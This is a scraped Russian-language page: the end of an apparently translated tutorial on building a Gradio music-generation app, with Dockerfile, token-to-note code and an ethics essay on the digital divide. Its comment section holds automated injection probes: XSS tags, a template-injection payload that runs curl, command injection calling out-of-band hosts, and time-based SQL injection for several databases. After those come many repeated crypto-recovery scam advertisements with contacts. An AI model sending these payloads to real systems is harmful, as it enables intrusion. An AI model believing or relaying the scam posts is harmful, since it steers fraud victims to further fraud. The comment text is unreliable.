RUN DEBIAN_FRONTEND="noninteractive" apt-get -qq update && \
    DEBIAN_FRONTEND="noninteractive" apt-get install -y tzdata

# Важные пакеты для воспроизведения сгенерированной музыки
RUN apt-get update -qq && \
    apt-get install -qq python3-pip build-essential libasound2-dev libjack-dev wget cmake pkg-config libglib2.0-dev ffmpeg

# Скачиваем исходники libfluidsynth
RUN wget https://github.com/FluidSynth/fluidsynth/archive/refs/tags/v2.3.3.tar.gz && \
    tar xzf v2.3.3.tar.gz && \
    cd fluidsynth-2.3.3 && \
    mkdir build && \
    cd build && \
    cmake .. && \
    make && \
    make install && \
    cd ../../ && \
    rm -rf fluidsynth-2.3.3 v2.3.3.tar.gz

ENV LD_LIBRARY_PATH=/usr/local/lib:${LD_LIBRARY_PATH}
RUN ldconfig

RUN pip3 install --no-cache-dir --upgrade -r /code/requirements.txt

# Создаём нового пользователя "user"с user ID 1000
RUN useradd -m -u 1000 user

# Переключаемся на пользователя "user"
USER user

# Задаём в качестве home папку home пользователя user
ENV HOME=/home/user \
    PATH=/home/user/.local/bin:$PATH

# Задаем в качестве рабочей папки папку home пользователя user
WORKDIR $HOME/app

# Копируем текущее содержимое папки в контейнер в $HOME/app, делая владельцем user
COPY --chown=user . $HOME/app

CMD ["python3", "main.py"]

Мы настраиваем образ из Ubuntu и устанавливаем необходимые пакеты наподобие FluidSynth, который будем использовать для воспроизведения сгенерированной музыки. В файле requirements.txt есть и другие необходимые пакеты Python. Изучить его можно здесь.

Ещё одна критически важная часть приложения — переход от сгенерированных моделью токенов к музыкальным нотам. На протяжении туториала я скрывал эту функцию, а теперь давайте посмотрим, как она работает. По сути, эта функция использует библиотеку note_seq Magenta для создания note_sequence, которую можно использовать для преобразования в MIDI или для воспроизведения. Вот код для этого; его авторство полностью принадлежит доктору Тристану Беренсу.

from typing import Optional

from note_seq.protobuf.music_pb2 import NoteSequence
from note_seq.constants import STANDARD_PPQ


def token_sequence_to_note_sequence(
    token_sequence: str,
    qpm: float = 120.0,
    use_program: bool = True,
    use_drums: bool = True,
    instrument_mapper: Optional[dict] = None,
    only_piano: bool = False,
) -> NoteSequence:
    """
    Преобразует последовательность токенов в последовательность нот.
    Аргументы:
        token_sequence (str): последовательность преобразуемых токенов.
        qpm (float, optional): четвертных нот в минуту. По умолчанию 120.0.
        use_program (bool, optional): использовать ли программу. По умолчанию True.
        use_drums (bool, optional): использовать ли барабаны. По умолчанию True.
        instrument_mapper (Optional[dict], optional): распределитель инструментов. По умолчанию None.
        only_piano (bool, optional): использовать ли только пианино. По умолчанию False.
    Возвращает:
        NoteSequence: получившуюся последовательность нот.
    """
    if isinstance(token_sequence, str):
        token_sequence = token_sequence.split()

    note_sequence = empty_note_sequence(qpm)

    # Вычисление длительности нот и тактов на основании заданного QPM
    note_length_16th = 0.25 * 60 / qpm
    bar_length = 4.0 * 60 / qpm

    # Рендеринг всех нот.
    current_program = 1
    current_is_drum = False
    current_instrument = 0
    track_count = 0
    for _, token in enumerate(token_sequence):
        if token == "PIECE_START":
            pass
        elif token == "PIECE_END":
            break
        elif token == "TRACK_START":
            current_bar_index = 0
            track_count += 1
            pass
        elif token == "TRACK_END":
            pass
        elif token == "KEYS_START":
            pass
        elif token == "KEYS_END":
            pass
        elif token.startswith("KEY="):
            pass
        elif token.startswith("INST"):
            instrument = token.split("=")[-1]
            if instrument != "DRUMS" and use_program:
                if instrument_mapper is not None:
                    if instrument in instrument_mapper:
                        instrument = instrument_mapper[instrument]
                current_program = int(instrument)
                current_instrument = track_count
                current_is_drum = False
            if instrument == "DRUMS" and use_drums:
                current_instrument = 0
                current_program = 0
                current_is_drum = True
        elif token == "BAR_START":
            current_time = current_bar_index * bar_length
            current_notes = {}
        elif token == "BAR_END":
            current_bar_index += 1
            pass
        elif token.startswith("NOTE_ON"):
            pitch = int(token.split("=")[-1])
            note = note_sequence.notes.add()
            note.start_time = current_time
            note.end_time = current_time + 4 * note_length_16th
            note.pitch = pitch
            note.instrument = current_instrument
            note.program = current_program
            note.velocity = 80
            note.is_drum = current_is_drum
            current_notes[pitch] = note
        elif token.startswith("NOTE_OFF"):
            pitch = int(token.split("=")[-1])
            if pitch in current_notes:
                note = current_notes[pitch]
                note.end_time = current_time
        elif token.startswith("TIME_DELTA"):
            delta = float(token.split("=")[-1]) * note_length_16th
            current_time += delta
        elif token.startswith("DENSITY="):
            pass
        elif token == "[PAD]":
            pass
        else:
            pass

    # Делаем инструменты правильными.
    instruments_drums = []
    for note in note_sequence.notes:
        pair = [note.program, note.is_drum]
        if pair not in instruments_drums:
            instruments_drums += [pair]
        note.instrument = instruments_drums.index(pair)

    if only_piano:
        for note in note_sequence.notes:
            if not note.is_drum:
                note.instrument = 0
                note.program = 0

    return note_sequence


def empty_note_sequence(qpm: float = 120.0, total_time: float = 0.0) -> NoteSequence:
    """
    Создаёт пустую последовательность нот.
    Аргументы:
        qpm (float, optional): четвертных нот в минуту. По умолчанию 120.0.
        total_time (float, optional): общее время. По умолчанию 0.0.
    Возвращает:
        NoteSequence: пустую последовательность нот.
    """
    note_sequence = NoteSequence()
    note_sequence.tempos.add().qpm = qpm
    note_sequence.ticks_per_quarter = STANDARD_PPQ
    note_sequence.total_time = total_time
    return note_sequence

В файле utils.py есть функция, занимающаяся генерацией модели. Я решил генерировать по одному инструменту за раз, чтобы у пользователей было больше контроля над синтезом музыки:

def generate_new_instrument(seed: str, temp: float = 0.75) -> str:
    """
    Генерирует новую последовательность инструмента по заданному seed и температуре.
    Аргументы:
        seed (str): строка порождающего значения для генерации.
        temp (float, optional): температура для генерации, управляющая случайностью. По умолчанию 0.75.
    Возвращает:
        str: сгенерированную последовательность инструмента.
    """
    seed_length = len(tokenizer.encode(seed))

    while True:
        # Кодируем условные токены.
        input_ids = tokenizer.encode(seed, return_tensors="pt")

        # Переносим тензор input_ids на то же устройство, что и модель
        input_ids = input_ids.to(model.device)

        # Генерируем новые токены.
        eos_token_id = tokenizer.encode("TRACK_END")[0]
        generated_ids = model.generate(
            input_ids,
            max_new_tokens=2048,
            do_sample=True,
            temperature=temp,
            eos_token_id=eos_token_id,
        )
        generated_sequence = tokenizer.decode(generated_ids[0])

        # Проверяем, содержится ли в сгенерированной последовательности "NOTE_ON" за пределами seed
        new_generated_sequence = tokenizer.decode(generated_ids[0][seed_length:])
        if "NOTE_ON" in new_generated_sequence:
            # Если NOTE_ON, то выполняем возврат, потому что генерируем по одному инструменту за раз
            return generated_sequence

Этот файл utils также содержит, среди прочих процессов, код удаления, изменения и повторной генерации инструмента.

Наконец, в файле main.py мы добавляем кнопки, которые пользователи могут использовать для взаимодействия с моделью.

# Фрагмент кода нажимаемых кнопок
def run():
    with demo:
        gr.HTML(DESCRIPTION)
        gr.DuplicateButton(value="Duplicate Space for private use")
        with gr.Row():
            with gr.Column():
                temp = gr.Slider(
                    minimum=0, maximum=1, step=0.05, value=0.85, label="Temperature"
                )
                genre = gr.Dropdown(
                    choices=genres, value="POP", label="Select the genre"
                )
                with gr.Row():
                    btn_from_scratch = gr.Button("🧹 Start from scratch")
                    btn_continue = gr.Button("➡️ Continue Generation")
                    btn_remove_last = gr.Button("↩️ Remove last instrument")
                    btn_regenerate_last = gr.Button("🔄 Regenerate last instrument")
            with gr.Column():
                with gr.Box():
                    audio_output = gr.Video(show_share_button=True)
                    midi_file = gr.File()
                    with gr.Row():
                        qpm = gr.Slider(
                            minimum=60, maximum=140, step=10, value=120, label="Tempo"
                        )
                        btn_qpm = gr.Button("Change Tempo")
        with gr.Row():
            with gr.Column():
                plot_output = gr.Plot()
            with gr.Column():
                instruments_output = gr.Markdown("# List of generated instruments")
        with gr.Row():
            text_sequence = gr.Text()
            empty_sequence = gr.Text(visible=False)
        with gr.Row():
            num_tokens = gr.Text(visible=False)
        btn_from_scratch.click(
            fn=generate_song,
            inputs=[genre, temp, empty_sequence, qpm],
            outputs=[
                audio_output,
                midi_file,
                plot_output,
                instruments_output,
                text_sequence,
                num_tokens,
            ],
        )
        btn_continue.click(
            fn=generate_song,
            inputs=[genre, temp, text_sequence, qpm],
            outputs=[
                audio_output,
                midi_file,
                plot_output,
                instruments_output,
                text_sequence,
                num_tokens,
            ],
        )
        btn_remove_last.click(
            fn=remove_last_instrument,
            inputs=[text_sequence, qpm],
            outputs=[
                audio_output,
                midi_file,
                plot_output,
                instruments_output,
                text_sequence,
                num_tokens,
            ],
        )
        btn_regenerate_last.click(
            fn=regenerate_last_instrument,
            inputs=[text_sequence, qpm],
            outputs=[
                audio_output,
                midi_file,
                plot_output,
                instruments_output,
                text_sequence,
                num_tokens,
            ],
        )
        btn_qpm.click(
            fn=change_tempo,
            inputs=[text_sequence, qpm],
            outputs=[
                audio_output,
                midi_file,
                plot_output,
                instruments_output,
                text_sequence,
                num_tokens,
            ],
        )

    demo.launch(server_name="0.0.0.0", server_port=7860)

Давайте посмотрим, как кнопки выглядят в интерфейсе:

UI to interact with the music model
Пользовательский интерфейс с кнопками для взаимодействия с моделью генерации музыки.

И теперь вы можете показать свою модель кому угодно. Разумеется, это здорово, но стоит подумать и о её влиянии. Давайте сделаем это вместе в следующем разделе.

Этические аспекты

Во-первых, хочу поблагодарить вас за то, что вы читаете этот туториал, он длинный и, возможно, немного пугает. Я максимально стремлюсь обеспечить его точность и качество, но признаю, что его можно улучшить и в нём, вероятно, есть ошибки. Я постоянно учусь и развиваюсь, поэтому буду признателен за любые отзывы и рекомендации по улучшению контента.

С другой стороны, после начала составления туториала я решил добавить в него размышления об этических аспектах. Я не специалист в этой теме, поэтому рекомендую читать мнения и мысли специалистов. Тем не менее, я бы хотел поделиться своим пониманием и опасениями.

В процессе генерации музыки при помощи ИИ нужно учесть множество аспектов:

  • Какова роль системы в творческом процессе?

  • Какое влияние могут оказать эти модели на рынок труда музыкантов?

  • Соблюдаем ли мы права исполнителей и композиторов, создавших музыку, которая используется для обучения моделей?

  • Кто становится владельцем сгенерированной музыки?

И этот список можно продолжить. На все эти вопросы ответить невозможно, поэтому мне бы хотелось сосредоточиться на одном особенно волнующем меня аспекте: цифровом барьере.

Цифровой барьер (digital divide) — «это неравный доступ к цифровым технологиям» (источник: Wikipedia), создающий опасный мост между теми, кто имеет доступ к информации и ресурсам, и теми, кто его не имеет.

Как насчёт цифрового барьера в мире музыки?

«Музыка — универсальный язык человечества», — Генри Лонгфеллоу

Музыка — универсальный язык, выходящий за рамки границ, культур и эпох. Она существует во всех цивилизациях. Однако живые традиции затмеваются или даже забываются в угоду мейнстримной музыки, в том числе и потому, что отдельные группы имеют больший доступ к цифровым платформам, инструментам создания и распространения музыки.

Машинное обучение, особенно при его демократизации, может быть инструментом сохранения и интеграции недостаточно представленной музыки. При наличии подходящих датасетов модели машинного обучения могут анализировать, генерировать и классифицировать непопулярную музыку. Но также они могут усиливать и поддерживать искажения, поскольку сегодня большинство из нас обучает модели для генерации рока, джаза или классической европейской музыки. Сообщество даже придумало термин «кран Баха», так как многие модели теперь могут синтезировать музыку, почти идентичную музыке Баха: «Кран Баха — это ситуация, при которой генеративная система создаёт бесконечный поток контента на уровне или выше уровня какого-то культурно ценимого оригинала, но из-за бесконечности потока он перестаёт быть редким, а значит, становится менее ценным» (из Twitter).

Кроме того, внедрение других художественных традиций лишь улучшит готовые модели и обогатит музыкальные творения. Исполнители-новаторы демонстрируют этот потенциал, например, Hexorsismos или Yaboi Hanoi, выигравший 2022 AI Song Contest с мелодиями и саунд-дизайном, вдохновлёнными тайской культурой.

yaboihanoi · อสุระเทวะชุมนุม - Enter Demons & Gods

С более разнообразным представлением музыки в ИИ возникает множество сложностей, в том числе, доступность данных, инвестиции, образование и многие другие. Опенсорс-сообщество имеет уникальные возможности по решению некоторых из этих проблем благодаря совместной работе над созданием более разнообразных датасетов, разработке инклюзивных моделей, обмену свободными туториалами и в целом проектированию инструментов, отдающих должное более широкому спектру традиций.

Машинное обучение формирует совершенно новую реальность — как сказал профессор Эндрю Ын, это новое электричество. Возможно, мы приближаемся к революции ИИ, которая изменит наш мир, и все мы должны иметь право голоса и участвовать в этом развитии, вне зависимости от языка, культуры, национальности, уровня образования и этнической принадлежности. Представьте, какие опасности могут таиться в мощном инструменте, контролируемом несколькими влиятельными людьми или группами.

Я призываю вас активно участвовать в прогрессе более инклюзивного ИИ. Например, вы можете вступить в опенсорс-сообщество, какой бы уровень опыта вы ни имели. Ценен любой вклад, а объединённые усилия мотивированных людей способны творить чудеса. Вы можете найти возможности сотрудничества с любым уровнем знаний в Discord Hugging Face. Кроме того, я родился в Колумбии и хотел бы создать в Hugging Face качественный датасет (MIDI или аудио) с недостаточно широко представленной музыкой Латинской Америки. Напишите мне, если хотите присоединиться.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

